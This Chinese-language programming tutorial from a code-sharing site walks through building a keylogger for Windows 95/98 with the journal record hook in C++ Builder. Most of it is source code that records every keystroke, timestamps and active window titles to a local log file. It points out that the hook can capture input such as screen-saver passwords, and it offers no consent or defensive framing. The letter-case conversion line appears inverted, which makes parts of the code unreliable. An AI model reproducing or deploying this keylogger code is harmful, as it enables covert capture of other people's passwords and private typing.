首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

Windows 95/98 日志鉤子的應用實戰:鍵盤記錄器開發指南

     編輯:關於C++

前言:鉤子機制與日誌鉤子的特殊地位

在 Windows 系統編程中,鉤子是消息處理機制的核心組件。透過安裝各類鉤子,應用程式能攔截系統消息流,在消息抵達目標視窗前進行監控與處理。常見鉤子類型包含鍵盤鉤子、滑鼠鉤子、Shell 鉤子等,各司其職。鉤子按作用範圍分為執行緒專用鉤子與全域鉤子:前者僅監控指定執行緒,後者則覆蓋系統所有執行緒。全域鉤子通常要求回呼函數置於獨立 DLL 中,但日誌鉤子是個例外——它僅支援全域模式、系統僅允許單一實例、且不強制要求 DLL 封裝,大幅簡化了開發流程。

日誌鉤子的核心優勢

相較於鍵盤鉤子,日誌鉤子在鍵盤記錄場景具備顯著優勢:

  • 免 DLL 部署:全域鍵盤鉤子必須置於 DLL,日誌鉤子則可直接在 EXE 中實現。
  • 更早攔截:日誌鉤子在消息從系統佇列取出時觸發,早於鍵盤鉤子;即使系統屏蔽特定按鍵(如螢幕保護密碼輸入),日誌鉤子仍能捕獲。

實作範例:C++ Builder 鍵盤記錄器

開發環境:中文 Windows 98 + Borland C++ Builder 4。以下步驟構建一個記錄按鍵動作、時間戳記與活動視窗標題的工具。

1. 介面佈局

新建專案,於 Form1 放置兩個按鈕:

  • Button1:Caption「安裝日誌鉤子」
  • Button2:Caption「卸載日誌鉤子」

2. 全域變數宣告

HHOOK g_hLogHook = NULL;        // 鉤子控制代碼
HWND  g_hLastFocus = NULL;      // 上一個擁有焦點的視窗
const int KeyPressMask = 0x80000000; // 鍵盤狀態遮罩
char  g_PrvChar = 0;            // 上一個按鍵虛擬碼

3. 安裝與卸載鉤子

// Button1 OnClick:安裝
void __fastcall TForm1::Button1Click(TObject *Sender)
{
    if (g_hLogHook == NULL)
        g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,
                                     (HOOKPROC)JournalLogProc,
                                     HInstance, 0);
}

// Button2 OnClick:卸載
void __fastcall TForm1::Button2Click(TObject *Sender)
{
    if (g_hLogHook != NULL) {
        UnhookWindowsHookEx(g_hLogHook);
        g_hLogHook = NULL;
    }
}

4. 回呼函數核心邏輯

HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam)
{
    if (iCode < 0)
        return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);

    if (iCode == HC_ACTION) {
        EVENTMSG *pEvt = (EVENTMSG *)lParam;
        HWND hFocus;
        char szTitle[256], szTime[128];
        FILE *stream = fopen("c:\\logfile.txt", "a+t");

        // --- 鍵盤按下事件 ---
        if (pEvt->message == WM_KEYDOWN) {
            int vKey = LOBYTE(pEvt->paramL);
            hFocus = GetActiveWindow();

            // 視窗切換偵測:記錄新視窗標題與時間
            if (g_hLastFocus != hFocus) {
                GetWindowText(hFocus, szTitle, 256);
                g_hLastFocus = hFocus;
                strcpy(szTime, DateTimeToStr(Now()).c_str());
                fprintf(stream, "\n%s  %s  ", szTime, szTitle);
            }

            // 修飾鍵狀態檢測
            bool bShift   = (GetKeyState(VK_SHIFT)   & KeyPressMask) == KeyPressMask;
            bool bCapital = (GetKeyState(VK_CAPITAL) & 1) == 1;
            bool bNumLock = (GetKeyState(VK_NUMLOCK) & 1) == 1;

            // 字元按鍵轉換邏輯(節錄關鍵段落)
            if (vKey >= 0x30 && vKey <= 0x39) {          // 0-9
                if (!bShift) fputc(vKey, stream);
            }
            else if (vKey >= 0x41 && vKey <= 0x5A) {     // A-Z
                char ch = bCapital ^ bShift ? vKey + 32 : vKey;
                fputc(ch, stream);
            }
            else if (vKey >= 0x60 && vKey <= 0x69) {     // 小鍵盤 0-9
                if (bNumLock) fputc(vKey - 0x60 + 0x30, stream);
            }
            // ... 其餘符號鍵、功能鍵、方向鍵處理略 ...

            // 特殊鍵以標籤形式記錄,如 [EN]、[BK]、[TAB] 等
        }

        // --- 滑鼠點擊同步記錄視窗切換 ---
        if (pEvt->message == WM_LBUTTONDOWN || pEvt->message == WM_RBUTTONDOWN) {
            hFocus = GetActiveWindow();
            if (g_hLastFocus != hFocus) {
                g_hLastFocus = hFocus;
                GetWindowText(hFocus, szTitle, 256);
                strcpy(szTime, DateTimeToStr(Now()).c_str());
                fprintf(stream, "\n%s  %s  ", szTime, szTitle);
            }
        }

        fclose(stream);
    }
    return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
}

執行效果與擴展建議

編譯執行後,每當使用者切換視窗或按下按鍵,c:\logfile.txt 將自動記錄時間戳、視窗標題與按鍵字元。程式碼未涵蓋所有虛擬鍵碼,開發者可依需求補充 switch-case 分支。

效能提醒

任何鉤子皆會增加系統消息處理開銷,請僅在必要時安裝,用畢即卸載,以免影響整體效能。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved